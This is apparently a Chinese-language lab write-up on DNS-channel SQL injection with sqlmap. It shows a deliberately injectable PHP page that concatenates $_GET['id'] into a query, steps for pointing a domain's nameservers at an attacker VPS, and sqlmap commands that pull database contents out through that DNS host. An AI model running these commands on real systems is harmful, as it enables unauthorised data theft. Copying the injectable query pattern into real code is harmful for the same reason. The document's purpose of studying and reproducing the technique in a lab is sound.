目录
注入说明
利用条件
注意事项
源码分析
DNS-domain注入
市面上关于DNS-domain注入相关的内容很少,这里简单做个试验复现并记录一下下
如果目标存在注入,但使用时间注入的时速度过慢,可以使用DNS-domain注入
需要材料:自备两个域名和一个有公网ip的vps云服务器
- 假设你有两个域名 a.com 和 b.com ,VPS的IP 是 xxx.xxx.xxx.xxx
- a.com 在域名解析中设置两条 A记录 ns1.a.com 和 ns2.a.com 都指向VPS的IP xxx.xxx.xxx.xxx
- 然后再把b.com的域名解析服务器设置成 ns1.a.com 和 ns2.a.com
- sqlmap的参数加上 --dns-domain=b.com
mysql:在mysqld里面增加secure_file_priv=
sql server可以直接利用注入
很多人会出现报错 data retrieval through DNS channel failed,无法使用dns通道
这里需要注意,使用xshell登录vps时开双终端,一个终端用于执行注入,另外一个终端进行监听53端口(终止监听时会出现隧道建立失败)
tcpdump -n port 53需要一直执行
connect_error) {die("Connection failed: " . $conn->connect_error);
}$conn->select_db("pikachu") or die("选择数据库失败:".$conn->error);$id = $_GET['id'];
$sql = "select * from users where id=".$id; // 数字型 $res =$conn->query($sql);
echo "
";
echo "
";
/*
while($rows = $res->fetch_array()){echo $rows['username'];
}
*/
echo "";
?>
这里看到源码没有将查询的结果返回来,因此页面不会有任何回显,只能采用时间延迟注入
(T:Time-basedblindSQLinjection(基于时间延迟注入))
手动注入工作量过于庞大,我们先用sqlmap进行尝试
sqlmap -u "http://192.168.10.139/coleak.php?id=1" --dbms mysql -v 1 --threads=10
发现非常花费时间,我们进一步尝试获取数据库
sqlmap -u "http://192.168.10.139/coleak.php?id=1" --dbms mysql -v 1 --threads=10 --dbs
大概耗时三分钟才将数据库注入出来,这个速度在渗透实战中肯定是不够的
首先A域名添加三条解析分别是* 、ns1、 ns2,均指向sqlmap的服务器IP
B域名设置dns服务为 ns1.A,ns2.A
接下来用xshell通过ssh登录sqlmap的服务器
监听53端口的数据(53端口为 DNS(Domain Name Server,域名服务器)服务器所开放)
tcpdump -n port 53
通过本地机器来ping一下域名看看服务器是否有响应
在服务器上执行
sqlmap -u http://ip/sql.php?id=1 --dbms mysql --technique=T --dns-domain=B的根域名 -D 数据库名 --columns --batch
data retrieval through DNS channel was successful
dns隧道通信成功,速度起飞!